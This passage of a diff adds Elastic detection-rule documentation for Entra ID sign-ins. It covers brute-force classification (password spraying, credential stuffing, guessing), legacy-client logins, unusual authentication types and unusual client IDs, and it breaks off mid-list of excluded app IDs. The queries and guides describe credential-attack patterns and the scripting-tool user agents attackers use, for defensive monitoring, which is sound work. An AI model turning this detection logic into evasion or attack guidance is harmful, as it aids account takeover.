Identity +* Data Source: Azure +* Data Source: Entra ID +* Data Source: Entra ID Sign-In Logs +* Use Case: Identity and Access Audit +* Use Case: Threat Detection +* Tactic: Credential Access +* Resources: Investigation Guide +* Noise: Medium +* Performance: Normal +* Profile: Recommended +* Threat: Brute Force +* Rule Type: ES|QL +* Platform: Entra ID + +*Version*: 10 + +*Rule authors*: + +* Elastic + +*Rule license*: Elastic License v2 + + +==== Investigation guide + + + +*Triage and analysis* + + + +*Investigating Entra ID User Sign-in Brute Force Attempted* + + +This rule detects brute-force authentication activity in Entra ID sign-in logs. It classifies failed sign-in attempts into behavior types such as password spraying, credential stuffing, or password guessing. The classification (`bf_type`) helps prioritize triage and incident response. + + +*Possible investigation steps* + + +- Review `bf_type`: Determines the brute-force technique being used (`password_spraying`, `credential_stuffing`, or `password_guessing`). +- Examine `user_id_list`: Identify if high-value accounts (e.g., administrators, service principals, federated identities) are being targeted. +- Review `login_errors`: Repetitive error types like `"Invalid Grant"` or `"User Not Found"` suggest automated attacks. +- Check `ip_list` and `source_orgs`: Investigate if the activity originates from suspicious infrastructure (VPNs, hosting providers, etc.). +- Validate `unique_ips` and `countries`: Geographic diversity and IP volume may indicate distributed or botnet-based attacks. +- Compare `total_attempts` vs `duration_seconds`: High rate of failures in a short time period implies automation. +- Analyze `user_agent.original` and `device_detail_browser`: User agents like `curl`, `Python`, or generic libraries may indicate scripting tools. +- Investigate `client_app_display_name` and `incoming_token_type`: Detect potential abuse of legacy or unattended login mechanisms. +- Inspect `target_resource_display_name`: Understand what application or resource the attacker is trying to access. +- Pivot using `session_id` and `device_detail_device_id`: Determine if a device is targeting multiple accounts. +- Review `conditional_access_status`: If not enforced, ensure Conditional Access policies are scoped correctly. + + +*False positive analysis* + + +- Legitimate automation (e.g., misconfigured scripts, sync processes) can trigger repeated failures. +- Internal red team activity or penetration tests may mimic brute-force behaviors. +- Certain service accounts or mobile clients may generate repetitive sign-in noise if not properly configured. + + +*Response and remediation* + + +- Notify your identity security team for further analysis. +- Investigate and lock or reset impacted accounts if compromise is suspected. +- Block offending IPs or ASNs at the firewall, proxy, or using Conditional Access. +- Confirm MFA and Conditional Access are enforced for all user types. +- Audit targeted accounts for credential reuse across services. +- Implement account lockout or throttling for failed sign-in attempts where possible. + + +==== Rule query + + +[source, js] +---------------------------------- +from logs-azure.signinlogs-* + +// Define a time window for grouping and maintain the original event timestamp +| eval Esql.time_window_date_trunc = date_trunc(15 minutes, @timestamp) + +// Filter relevant failed authentication events with specific error codes +| where data_stream.dataset == "azure.signinlogs" + and event.category == "authentication" + and azure.signinlogs.category in ("NonInteractiveUserSignInLogs", "SignInLogs") + and event.outcome == "failure" + and azure.signinlogs.properties.authentication_requirement == "singleFactorAuthentication" + and azure.signinlogs.properties.status.error_code in ( + 50034, // UserAccountNotFound + 50126, // InvalidUsernameOrPassword + 50055, // PasswordExpired + 50056, // InvalidPassword + 50057, // UserDisabled + 50064, // CredentialValidationFailure + 50076, // MFARequiredButNotPassed + 50079, // MFARegistrationRequired + 50105, // EntitlementGrantsNotFound + 70000, // InvalidGrant + 70008, // ExpiredOrRevokedRefreshToken + 70043, // BadTokenDueToSignInFrequency + 80002, // OnPremisePasswordValidatorRequestTimedOut + 80005, // OnPremisePasswordValidatorUnpredictableWebException + 50144, // InvalidPasswordExpiredOnPremPassword + 50135, // PasswordChangeCompromisedPassword + 50142, // PasswordChangeRequiredConditionalAccess + 120000, // PasswordChangeIncorrectCurrentPassword + 120002, // PasswordChangeInvalidNewPasswordWeak + 120020 // PasswordChangeFailure + ) + and azure.signinlogs.properties.user_principal_name is not null and azure.signinlogs.properties.user_principal_name != "" + and user_agent.original != "Mozilla/5.0 (compatible; MSAL 1.0) PKeyAuth/1.0" + and source.`as`.organization.name != "MICROSOFT-CORP-MSN-as-BLOCK" + +| stats + Esql.azure_signinlogs_properties_authentication_requirement_values = values(azure.signinlogs.properties.authentication_requirement), + Esql.azure_signinlogs_properties_app_id_values = values(azure.signinlogs.properties.app_id), + Esql.azure_signinlogs_properties_app_display_name_values = values(azure.signinlogs.properties.app_display_name), + Esql.azure_signinlogs_properties_resource_id_values = values(azure.signinlogs.properties.resource_id), + Esql.azure_signinlogs_properties_resource_display_name_values = values(azure.signinlogs.properties.resource_display_name), + Esql.azure_signinlogs_properties_conditional_access_status_values = values(azure.signinlogs.properties.conditional_access_status), + Esql.azure_signinlogs_properties_device_detail_browser_values = values(azure.signinlogs.properties.device_detail.browser), + Esql.azure_signinlogs_properties_device_detail_device_id_values = values(azure.signinlogs.properties.device_detail.device_id), + Esql.azure_signinlogs_properties_device_detail_operating_system_values = values(azure.signinlogs.properties.device_detail.operating_system), + Esql.azure_signinlogs_properties_incoming_token_type_values = values(azure.signinlogs.properties.incoming_token_type), + Esql.azure_signinlogs_properties_risk_state_values = values(azure.signinlogs.properties.risk_state), + Esql.azure_signinlogs_properties_session_id_values = values(azure.signinlogs.properties.session_id), + Esql.azure_signinlogs_properties_user_id_values = values(azure.signinlogs.properties.user_id), + Esql_priv.azure_signinlogs_properties_user_principal_name_values = values(azure.signinlogs.properties.user_principal_name), + Esql.azure_signinlogs_result_description_values = values(azure.signinlogs.result_description), + Esql.azure_signinlogs_result_signature_values = values(azure.signinlogs.result_signature), + Esql.azure_signinlogs_result_type_values = values(azure.signinlogs.result_type), + + Esql.azure_signinlogs_properties_user_id_count_distinct = count_distinct(azure.signinlogs.properties.user_id), + Esql.azure_signinlogs_properties_user_id_list = values(azure.signinlogs.properties.user_id), + Esql.azure_signinlogs_result_description_values_all = values(azure.signinlogs.result_description), + Esql.azure_signinlogs_result_description_count_distinct = count_distinct(azure.signinlogs.result_description), + Esql.azure_signinlogs_properties_status_error_code_values = values(azure.signinlogs.properties.status.error_code), + Esql.azure_signinlogs_properties_status_error_code_count_distinct = count_distinct(azure.signinlogs.properties.status.error_code), + Esql.azure_signinlogs_properties_incoming_token_type_values_all = values(azure.signinlogs.properties.incoming_token_type), + Esql.azure_signinlogs_properties_app_display_name_values_all = values(azure.signinlogs.properties.app_display_name), + Esql.source_ip_values = values(source.ip), + Esql.source_ip_count_distinct = count_distinct(source.ip), + Esql.source_as_organization_name_values = values(source.`as`.organization.name), + Esql.source_geo_country_name_values = values(source.geo.country_name), + Esql.source_geo_country_name_count_distinct = count_distinct(source.geo.country_name), + Esql.source_as_organization_name_count_distinct = count_distinct(source.`as`.organization.name), + Esql.timestamp_first_seen = min(@timestamp), + Esql.timestamp_last_seen = max(@timestamp), + Esql.event_count = count() +by Esql.time_window_date_trunc + +| eval + Esql.duration_seconds = date_diff("seconds", Esql.timestamp_first_seen, Esql.timestamp_last_seen), + Esql.brute_force_type = case( + Esql.azure_signinlogs_properties_user_id_count_distinct >= 10 and Esql.event_count >= 30 and Esql.azure_signinlogs_result_description_count_distinct <= 3 + and Esql.source_ip_count_distinct >= 5 + and Esql.duration_seconds <= 600 + and Esql.azure_signinlogs_properties_user_id_count_distinct > Esql.source_ip_count_distinct, + "credential_stuffing", + + Esql.azure_signinlogs_properties_user_id_count_distinct >= 15 and Esql.azure_signinlogs_result_description_count_distinct == 1 and Esql.event_count >= 15 and Esql.duration_seconds <= 1800, + "password_spraying", + + (Esql.azure_signinlogs_properties_user_id_count_distinct == 1 and Esql.azure_signinlogs_result_description_count_distinct == 1 and Esql.event_count >= 30 and Esql.duration_seconds <= 300) + or (Esql.azure_signinlogs_properties_user_id_count_distinct <= 3 and Esql.source_ip_count_distinct > 30 and Esql.event_count >= 100), + "password_guessing", + + "other" + ) + +| keep + Esql.time_window_date_trunc, + Esql.brute_force_type, + Esql.duration_seconds, + Esql.event_count, + Esql.timestamp_first_seen, + Esql.timestamp_last_seen, + Esql.azure_signinlogs_properties_user_id_count_distinct, + Esql.azure_signinlogs_properties_user_id_list, + Esql.azure_signinlogs_result_description_values_all, + Esql.azure_signinlogs_result_description_count_distinct, + Esql.azure_signinlogs_properties_status_error_code_count_distinct, + Esql.azure_signinlogs_properties_status_error_code_values, + Esql.azure_signinlogs_properties_incoming_token_type_values_all, + Esql.azure_signinlogs_properties_app_display_name_values_all, + Esql.source_ip_values, + Esql.source_ip_count_distinct, + Esql.source_as_organization_name_values, + Esql.source_geo_country_name_values, + Esql.source_geo_country_name_count_distinct, + Esql.source_as_organization_name_count_distinct, + Esql.azure_signinlogs_properties_authentication_requirement_values, + Esql.azure_signinlogs_properties_app_id_values, + Esql.azure_signinlogs_properties_app_display_name_values, + Esql.azure_signinlogs_properties_resource_id_values, + Esql.azure_signinlogs_properties_resource_display_name_values, + Esql.azure_signinlogs_properties_conditional_access_status_values, + Esql.azure_signinlogs_properties_device_detail_browser_values, + Esql.azure_signinlogs_properties_device_detail_device_id_values, + Esql.azure_signinlogs_properties_device_detail_operating_system_values, + Esql.azure_signinlogs_properties_incoming_token_type_values, + Esql.azure_signinlogs_properties_risk_state_values, + Esql.azure_signinlogs_properties_session_id_values, + Esql.azure_signinlogs_properties_user_id_values, + Esql_priv.azure_signinlogs_properties_user_principal_name_values, + Esql.azure_signinlogs_result_description_values, + Esql.azure_signinlogs_result_signature_values, + Esql.azure_signinlogs_result_type_values + +| where Esql.brute_force_type != "other" + +---------------------------------- + +*Framework*: MITRE ATT&CK^TM^ + +* Tactic: +** Name: Credential Access +** ID: TA0006 +** Reference URL: https://attack.mitre.org/tactics/TA0006/ +* Technique: +** Name: Brute Force +** ID: T1110 +** Reference URL: https://attack.mitre.org/techniques/T1110/ +* Sub-technique: +** Name: Password Guessing +** ID: T1110.001 +** Reference URL: https://attack.mitre.org/techniques/T1110/001/ +* Sub-technique: +** Name: Password Spraying +** ID: T1110.003 +** Reference URL: https://attack.mitre.org/techniques/T1110/003/ +* Sub-technique: +** Name: Credential Stuffing +** ID: T1110.004 +** Reference URL: https://attack.mitre.org/techniques/T1110/004/ diff --git a/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-entra-id-user-sign-in-via-unusual-legacy-authentication-client.asciidoc b/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-entra-id-user-sign-in-via-unusual-legacy-authentication-client.asciidoc new file mode 100644 index 0000000000..c622e99e9c --- /dev/null +++ b/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-entra-id-user-sign-in-via-unusual-legacy-authentication-client.asciidoc @@ -0,0 +1,146 @@ +[[prebuilt-rule-8-19-34-entra-id-user-sign-in-via-unusual-legacy-authentication-client]] +=== Entra ID User Sign-In via Unusual Legacy Authentication Client + +Detects a successful sign-in by a Member user principal through a legacy authentication client (such as Authenticated SMTP, IMAP4, POP3, Exchange ActiveSync, Exchange Web Services, or other basic-authentication clients) in Microsoft Entra ID, where the user principal has not been seen using a legacy client in the last 7 days. Legacy authentication clients rely on basic authentication, do not support modern authentication or interactive multi-factor authentication, and are frequently abused by adversaries for password spraying and account takeover because they translate into single-factor Resource Owner Password Credentials (ROPC) grants. This is a New Terms rule that surfaces the first occurrence of legacy client authentication for a given user, which is unusual in most modern environments. + +*Rule type*: new_terms + +*Rule indices*: + +* logs-azure.signinlogs-* + +*Severity*: medium + +*Risk score*: 47 + +*Runs every*: 5m + +*Searches indices from*: now-9m ({ref}/common-options.html#date-math[Date Math format], see also <>) + +*Maximum alerts per execution*: 100 + +*References*: + +* https://learn.microsoft.com/en-us/entra/identity/conditional-access/policy-block-legacy-authentication +* https://learn.microsoft.com/en-us/entra/identity-platform/v2-oauth-ropc +* https://www.proofpoint.com/us/blog/threat-insight/attackers-unleash-teamfiltration-account-takeover-campaign +* https://redcanary.com/blog/threat-detection/bav2ropc/ + +*Tags*: + +* Domain: Cloud +* Domain: Identity +* Data Source: Azure +* Data Source: Microsoft Entra ID +* Data Source: Microsoft Entra ID Sign-In Logs +* Use Case: Identity and Access Audit +* Tactic: Initial Access +* Tactic: Defense Evasion +* Resources: Investigation Guide +* Noise: Low +* Performance: Normal +* Rule Type: New Terms +* Platform: Entra ID + +*Version*: 2 + +*Rule authors*: + +* Elastic + +*Rule license*: Elastic License v2 + + +==== Investigation guide + + + +*Triage and analysis* + + + +*Investigating Entra ID User Sign-In via Unusual Legacy Authentication Client* + + +Legacy authentication clients use basic authentication and do not support modern authentication or interactive multi-factor authentication. Microsoft Entra ID classifies these clients under `client_app_used` values such as Authenticated SMTP, IMAP4, POP3, Exchange ActiveSync, Exchange Web Services, MAPI Over HTTP, Outlook Anywhere, and Other clients (as opposed to the modern values Browser and Mobile Apps and Desktop clients). Adversaries prefer these clients because they translate into single-factor ROPC grants that bypass interactive MFA, making them effective for password spraying and account takeover. + +This rule is a New Terms detection that fires when a Member user principal is first seen authenticating with a legacy client in the last 7 days. In environments that have largely moved to modern authentication, a new legacy-client sign-in for a user is unusual and warrants review. It is a broader companion to the targeted ROPC detections and catches legacy protocols beyond Authenticated SMTP. + + +*Possible investigation steps* + +- Review `azure.signinlogs.properties.client_app_used` to identify which legacy protocol was used and whether the user is expected to use it. +- Review `azure.signinlogs.properties.user_principal_name` to determine whether the account is a human user, a service account, or a shared mailbox, and whether legacy authentication is part of its normal behavior. +- Review `azure.signinlogs.properties.client_ip` / `source.ip`, geolocation, and ASN to determine whether the source is expected. Correlate with known-malicious infrastructure. +- Inspect `user_agent.original`. Values such as `BAV2ROPC`, `python-requests`, `curl`, or other scripting-tool agents are highly suspicious. +- Check `azure.signinlogs.properties.applied_conditional_access_policies` to determine whether legacy-authentication blocking was expected to apply and why it did not. +- Look for a preceding burst of failed authentications (password spraying) from the same source or against the same account, and for post-authentication actions such as mailbox rule creation, mail forwarding, or OAuth consent. + + +*False positive analysis* + +- Legitimate legacy applications, service accounts, multifunction printers, scan-to-email appliances, and monitoring tools may still use legacy authentication clients such as Authenticated SMTP. These are typically stable in source IP and account and can be excluded once verified. +- Migrations, onboarding of older mail clients, or line-of-business applications that have not yet moved to modern authentication can generate first-occurrence sign-ins. Validate the business context and exclude confirmed benign accounts. + + +*Response and remediation* + +- If the sign-in is confirmed malicious, disable the account, revoke active sessions and refresh tokens, and reset the password. +- Disable the specific legacy protocol for the affected mailbox (for example `Set-CASMailbox -SmtpClientAuthenticationDisabled $true`) and, where feasible, block legacy authentication tenant-wide with Conditional Access. +- Enforce MFA for the affected user and investigate the source IP and any preceding failed-authentication activity to scope a potential password-spray campaign. +- Review the account's activity after the sign-in (mailbox rules, forwarding, delegate changes, OAuth grants) and remediate any unauthorized changes. + + +==== Rule query + + +[source, js] +---------------------------------- +data_stream.dataset: "azure.signinlogs" and + event.action: "Sign-in activity" and + event.outcome: "success" and + azure.signinlogs.properties.user_type: "Member" and + azure.signinlogs.properties.client_app_used: ( + "Authenticated SMTP" or + "Autodiscover" or + "Exchange ActiveSync" or + "Exchange Online PowerShell" or + "Exchange Web Services" or + "IMAP4" or + "MAPI Over HTTP" or + "Offline Address Book" or + "Outlook Anywhere" or + "Outlook Service" or + "POP3" or + "Reporting Web Services" or + "Other clients" + ) + +---------------------------------- + +*Framework*: MITRE ATT&CK^TM^ + +* Tactic: +** Name: Initial Access +** ID: TA0001 +** Reference URL: https://attack.mitre.org/tactics/TA0001/ +* Technique: +** Name: Valid Accounts +** ID: T1078 +** Reference URL: https://attack.mitre.org/techniques/T1078/ +* Sub-technique: +** Name: Cloud Accounts +** ID: T1078.004 +** Reference URL: https://attack.mitre.org/techniques/T1078/004/ +* Tactic: +** Name: Defense Evasion +** ID: TA0005 +** Reference URL: https://attack.mitre.org/tactics/TA0005/ +* Technique: +** Name: Valid Accounts +** ID: T1078 +** Reference URL: https://attack.mitre.org/techniques/T1078/ +* Sub-technique: +** Name: Cloud Accounts +** ID: T1078.004 +** Reference URL: https://attack.mitre.org/techniques/T1078/004/ diff --git a/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-entra-id-user-sign-in-with-unusual-authentication-type.asciidoc b/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-entra-id-user-sign-in-with-unusual-authentication-type.asciidoc new file mode 100644 index 0000000000..aa3bfaeaf5 --- /dev/null +++ b/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-entra-id-user-sign-in-with-unusual-authentication-type.asciidoc @@ -0,0 +1,161 @@ +[[prebuilt-rule-8-19-34-entra-id-user-sign-in-with-unusual-authentication-type]] +=== Entra ID User Sign-in with Unusual Authentication Type + +Identifies rare instances of authentication methods for Microsoft Entra ID principal users. An adversary with stolen credentials may attempt to authenticate with an unusual method, which may indicate an attempt to bypass conditional access policies (CAP) and multi-factor authentication (MFA) requirements. The authentication method may not be commonly used by the user based on their historical sign-in activity. + +*Rule type*: new_terms + +*Rule indices*: + +* filebeat-* +* logs-azure.signinlogs-* + +*Severity*: medium + +*Risk score*: 47 + +*Runs every*: 5m + +*Searches indices from*: now-9m ({ref}/common-options.html#date-math[Date Math format], see also <>) + +*Maximum alerts per execution*: 100 + +*References*: None + +*Tags*: + +* Domain: Cloud +* Data Source: Azure +* Data Source: Microsoft Entra ID +* Data Source: Microsoft Entra ID Sign-In Logs +* Platform: Entra ID +* Use Case: Identity and Access Audit +* Use Case: Threat Detection +* Tactic: Initial Access +* Resources: Investigation Guide +* Noise: Medium +* Performance: Fast +* Rule Type: New Terms +* Domain: Identity + +*Version*: 10 + +*Rule authors*: + +* Elastic + +*Rule license*: Elastic License v2 + + +==== Investigation guide + + + +*Triage and analysis* + + + +*Investigating Entra ID User Sign-in with Unusual Authentication Type* + + +Identifies rare instances of authentication methods for Microsoft Entra ID principal users. An adversary with stolen credentials may attempt to authenticate with an unusual method, which may indicate an attempt to bypass conditional access policies (CAP) and multi-factor authentication (MFA) requirements. The authentication method may not be commonly used by the user based on their historical sign-in activity. + +**This is a New Terms rule that focuses on the first occurrence of an Entra ID principal user `azure.signinlogs.properties.user_principal_name` and their authentication method `azure.signinlogs.properties.authentication_details.authentication_method` in the last 14 days.** + + +*Possible investigation steps* + + +- Identify the source IP address by reviewing `source.ip`. Determine whether it is associated with known malicious activity, an unexpected location or hosting provider, or approved corporate infrastructure. +- Review `azure.signinlogs.properties.user_principal_name` to determine whether the account is privileged or otherwise high value, and compare the sign-in with the user's recent activity. +- Examine `azure.signinlogs.properties.authentication_details.authentication_method` and determine whether the method is expected for the user. Review recent authentication-method registration or modification events. +- Review `azure.signinlogs.properties.app_id`, `azure.signinlogs.properties.client_app_used`, and the target resource to determine whether the application and access pattern are expected. +- Examine device, browser, user-agent, authentication protocol, and token details for signs of an unfamiliar client or session. +- Review `azure.signinlogs.properties.authentication_requirement` and the applicable conditional access policies to determine why the sign-in did not require MFA. + + +*False positive analysis* + + + +*Common benign scenarios* + +- Users enrolling in or switching to a different authentication method may trigger this detection the first time the method is observed. +- Automated scripts or applications using non-interactive authentication may trigger this detection, particularly if they rely on legacy authentication protocols recorded in `azure.signinlogs.properties.authentication_protocol`. +- Changes to an organization's authentication or conditional access policies may cause a previously unseen authentication method to be recorded for a user. + + +*How to reduce false positives* + +- Exclude known trusted IPs, such as corporate infrastructure, from alerts by filtering `source.ip`. +- Exclude known custom applications from `azure.signinlogs.properties.app_id` that are authorized to use non-interactive authentication. +- Correlate alerts with approved authentication-method enrollment or policy changes before adding exceptions. + + +*Response and remediation* + + + +*Immediate actions* + +- Block the source IP address in `source.ip` if determined to be malicious. +- If the sign-in is unauthorized, disable the affected account, revoke active sessions and tokens, and reset its credentials. +- Ensure basic authentication is disabled for all applications using legacy authentication protocols listed in `azure.signinlogs.properties.authentication_protocol`. +- Enable multi-factor authentication (MFA) for impacted accounts to mitigate credential-based attacks. +- Review conditional access policies to enforce risk-based authentication and block unauthorized access recorded in `azure.signinlogs.properties.authentication_requirement`. + + +*Long-term mitigation* + +- Implement a zero-trust security model by enforcing least privilege access and continuous authentication. +- Regularly review and update conditional access policies to ensure they are effective against evolving threats. +- Restrict the use of legacy authentication protocols by disabling authentication methods listed in `azure.signinlogs.properties.client_app_used`. +- Regularly audit authentication logs in `azure.signinlogs` to detect abnormal login behavior and ensure early detection of potential attacks. +- Regularly rotate client credentials and secrets for applications using non-interactive authentication to reduce the risk of credential theft. + + +==== Rule query + + +[source, js] +---------------------------------- +data_stream.dataset: "azure.signinlogs" and event.category: "authentication" + and azure.signinlogs.properties.user_type: "Member" + and not azure.signinlogs.properties.device_detail.browser: * + and not source.as.organization.name: "MICROSOFT-CORP-MSN-AS-BLOCK" + and not azure.signinlogs.properties.authentication_requirement: "multiFactorAuthentication" + and azure.signinlogs.properties.authentication_details.authentication_method:* + and event.outcome:success + +---------------------------------- + +*Framework*: MITRE ATT&CK^TM^ + +* Tactic: +** Name: Initial Access +** ID: TA0001 +** Reference URL: https://attack.mitre.org/tactics/TA0001/ +* Technique: +** Name: Valid Accounts +** ID: T1078 +** Reference URL: https://attack.mitre.org/techniques/T1078/ +* Sub-technique: +** Name: Cloud Accounts +** ID: T1078.004 +** Reference URL: https://attack.mitre.org/techniques/T1078/004/ +* Tactic: +** Name: Defense Evasion +** ID: TA0005 +** Reference URL: https://attack.mitre.org/tactics/TA0005/ +* Technique: +** Name: Use Alternate Authentication Material +** ID: T1550 +** Reference URL: https://attack.mitre.org/techniques/T1550/ +* Technique: +** Name: Modify Authentication Process +** ID: T1556 +** Reference URL: https://attack.mitre.org/techniques/T1556/ +* Sub-technique: +** Name: Multi-Factor Authentication +** ID: T1556.006 +** Reference URL: https://attack.mitre.org/techniques/T1556/006/ diff --git a/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-entra-id-user-sign-in-with-unusual-client.asciidoc b/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-entra-id-user-sign-in-with-unusual-client.asciidoc new file mode 100644 index 0000000000..c2dafb05ed --- /dev/null +++ b/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-entra-id-user-sign-in-with-unusual-client.asciidoc @@ -0,0 +1,260 @@ +[[prebuilt-rule-8-19-34-entra-id-user-sign-in-with-unusual-client]] +=== Entra ID User Sign-in with Unusual Client + +Detects rare non-interactive sign-ins where an Entra ID client application authenticates on behalf of a principal user using an application (client) ID that is not commonly associated with that user's historical sign-in behavior. Adversaries with stolen credentials or OAuth tokens may abuse Entra ID–managed or first-party client IDs to perform on-behalf-of (OBO) authentication, blending into legitimate cloud traffic while avoiding traditional interactive sign-in flows. This technique is commonly observed in OAuth phishing, token theft, and access broker operations, and may precede lateral movement, persistence, or data access via Microsoft Graph or other cloud resources. The rule uses a New Terms approach to identify first-seen combinations of the UPN and Client ID within a defined history window, helping surface unexpected client usage that may indicate compromised identities, malicious automation, or unauthorized application impersonation. + +*Rule type*: new_terms + +*Rule indices*: + +* filebeat-* +* logs-azure.signinlogs-* + +*Severity*: medium + +*Risk score*: 47 + +*Runs every*: 5m + +*Searches indices from*: now-9m ({ref}/common-options.html#date-math[Date Math format], see also <>) + +*Maximum alerts per execution*: 100 + +*References*: + +* https://securityscorecard.com/wp-content/uploads/2025/02/MassiveBotnet-Report_022125_03.pdf + +*Tags*: + +* Domain: Cloud +* Domain: Identity +* Data Source: Azure +* Data Source: Entra ID +* Data Source: Entra ID Sign-In +* Platform: Entra ID +* Use Case: Identity and Access Audit +* Use Case: Threat Detection +* Tactic: Initial Access +* Resources: Investigation Guide +* Noise: High +* Performance: Normal +* Profile: Aggressive +* Rule Type: New Terms + +*Version*: 10 + +*Rule authors*: + +* Elastic + +*Rule license*: Elastic License v2 + + +==== Investigation guide + + + +*Triage and analysis* + + + +*Investigating Entra ID User Sign-in with Unusual Client* + + +This rule identifies rare Azure Entra apps IDs requesting authentication on-behalf-of a principal user. An adversary with stolen credentials may specify an Azure-managed app ID to authenticate on-behalf-of a user. This is a rare event and may indicate an attempt to bypass conditional access policies (CAP) and multi-factor authentication (MFA) requirements. The app ID specified may not be commonly used by the user based on their historical sign-in activity. + + +*Possible investigation steps* + + +- Identify the source IP address from which the failed login attempts originated by reviewing `source.ip`. Determine if the IP is associated with known malicious activity using threat intelligence sources or if it belongs to a corporate VPN, proxy, or automation process. +- Analyze affected user accounts by reviewing `azure.signinlogs.properties.user_principal_name` to determine if they belong to privileged roles or high-value users. Look for patterns indicating multiple failed attempts across different users, which could suggest a password spraying attempt. +- Examine the authentication method used in `azure.signinlogs.properties.authentication_details` to identify which authentication protocols were attempted and why they failed. Legacy authentication methods may be more susceptible to brute-force attacks. +- Review the authentication error codes found in `azure.signinlogs.properties.status.error_code` to understand why the login attempts failed. Common errors include `50126` for invalid credentials, `50053` for account lockouts, `50055` for expired passwords, and `50056` for users without a password. +- Correlate failed logins with other sign-in activity by looking at `event.outcome`. Identify if there were any successful logins from the same user shortly after multiple failures or if there are different geolocations or device fingerprints associated with the same account. +- Review `azure.signinlogs.properties.app_id` to identify which applications were initiating the authentication attempts. Determine if these applications are Microsoft-owned, third-party, or custom applications and if they are authorized to access the resources. +- Check for any conditional access policies that may have been triggered by the failed login attempts by reviewing `azure.signinlogs.properties.authentication_requirement`. This can help identify if the failed attempts were due to policy enforcement or misconfiguration. + + +*False positive analysis* + + +- Automated scripts or applications using non-interactive authentication may trigger this detection, particularly if they rely on legacy authentication protocols recorded in `azure.signinlogs.properties.authentication_protocol`. +- Corporate proxies or VPNs may cause multiple users to authenticate from the same IP, appearing as repeated failed attempts under `source.ip`. +- User account lockouts from forgotten passwords or misconfigured applications may show multiple authentication failures in `azure.signinlogs.properties.status.error_code`. +- Exclude known trusted IPs, such as corporate infrastructure, from alerts by filtering `source.ip`. +- Exclude known custom applications from `azure.signinlogs.properties.app_id` that are authorized to use non-interactive authentication. +- Microsoft Feedback Portal UX generates benign first-seen client activity through PRT-based, non-interactive sign-ins and is excluded by application ID. +- Microsoft Teams routinely requests tokens for its internal Teams Services, IC3 Gateway, Chat Aggregator, and CMD Services resources; these client-resource combinations are excluded. +- Managed Windows devices routinely request OfficeHome PRTs with Microsoft 365 Copilot scopes through the standard Microsoft 365 desktop client; this combination is excluded. +- Ignore principals with a history of failed logins due to legitimate reasons, such as expired passwords or account lockouts, by filtering `azure.signinlogs.properties.user_principal_name`. +- Correlate sign-in failures with password reset events or normal user behavior before triggering an alert. + + +*Response and remediation* + + +- Block the source IP address in `source.ip` if determined to be malicious. +- Reset passwords for all affected user accounts listed in `azure.signinlogs.properties.user_principal_name` and enforce stronger password policies. +- Ensure basic authentication is disabled for all applications using legacy authentication protocols listed in `azure.signinlogs.properties.authentication_protocol`. +- Enable multi-factor authentication (MFA) for impacted accounts to mitigate credential-based attacks. +- Review conditional access policies to ensure they are correctly configured to block unauthorized access attempts recorded in `azure.signinlogs.properties.authentication_requirement`. +- Review Conditional Access policies to enforce risk-based authentication and block unauthorized access attempts recorded in `azure.signinlogs.properties.authentication_requirement`. +- Implement a zero-trust security model by enforcing least privilege access and continuous authentication. +- Regularly review and update conditional access policies to ensure they are effective against evolving threats. +- Restrict the use of legacy authentication protocols by disabling authentication methods listed in `azure.signinlogs.properties.client_app_used`. +- Regularly audit authentication logs in `azure.signinlogs` to detect abnormal login behavior and ensure early detection of potential attacks. +- Regularly rotate client credentials and secrets for applications using non-interactive authentication to reduce the risk of credential theft. + + +==== Rule query + + +[source, js] +---------------------------------- +data_stream.dataset: "azure.signinlogs" and event.category: "authentication" + and azure.signinlogs.properties.is_interactive: false + and azure.signinlogs.properties.user_type: "Member" + and not azure.signinlogs.properties.client_app_used: "Browser" + and not source.as.organization.name: "MICROSOFT-CORP-MSN-AS-BLOCK" + and not azure.signinlogs.properties.app_id: ( + "1b3c667f-cde3-4090-b60b-3d2abd0117f0" or + "26a7ee05-5602-4d76-a7ba-eae8b7b67941" or + "4b0964e4-58f1-47f4-a552-e2e1fc56dcd7" or + "ecd6b820-32c2-49b6-98a6-444530e5a77a" or + "268761a2-03f3-40df-8a8b-c3db24145b6b" or + "fc0f3af4-6835-4174-b806-f7db311fd2f3" or + "de50c81f-5f80-4771-b66b-cebd28ccdfc1" or + "ab9b8c07-8f02-4f72-87fa-80105867a763" or + "6f7e0f60-9401-4f5b-98e2-cf15bd5fd5e3" or + "d7b530a4-7680-4c23-a8bf-c52c121d2e87" or + "52c2e0b5-c7b6-4d11-a89c-21e42bcec444" or + "38aa3b87-a06d-4817-b275-7a316988d93b" or + "27922004-5251-4030-b22d-91ecd9a37ea4" or + "9ba1a5c7-f17a-4de9-a1f1-6178c8d51223" or + "cab96880-db5b-4e15-90a7-f3f1d62ffe39" or + "3a4d129e-7f50-4e0d-a7fd-033add0a29f4" or + "29d9ed98-a469-4536-ade2-f981bc1d605e" or + "c0ab8ce9-e9a0-42e7-b064-33d422df41f1" or + "9ea1ad79-fdb6-4f9a-8bc3-2b70f96e34c7" or + "4813382a-8fa7-425e-ab75-3b753aab3abb" or + "08e18876-6177-487e-b8b5-cf950c1e598c" or + "0ec893e0-5785-4de6-99da-4ed124e5296c" or + "d3590ed6-52b3-4102-aeff-aad2292ab01c" or + "0dc2408a-bbc0-4238-871e-13b372f0200f" or + "af124e86-4e96-495a-b70a-90f90ab96707" or + "e9c51622-460d-4d3d-952d-966a5b1da34c" or + "f44b1140-bc5e-48c6-8dc0-5cf5a53c0e34" or + "e2ef5054-0287-4db6-afa3-013d96881fd3" or + "82864fa0-ed49-4711-8395-a0e6003dca1f" or + "60c8bde5-3167-4f92-8fdb-059f6176dc0f" or + "5d661950-3475-41cd-a2c3-d671a3162bc1" or + "145fc680-eb72-4bcf-b4d5-8277021a1ce8" or + "c1c74fed-04c9-4704-80dc-9f79a2e515cb" or + "a2760c41-63c9-42b5-8d58-bfa1fd9e2eb3" or + "6dec647e-42c4-45a6-8f13-e8250d34e033" or + 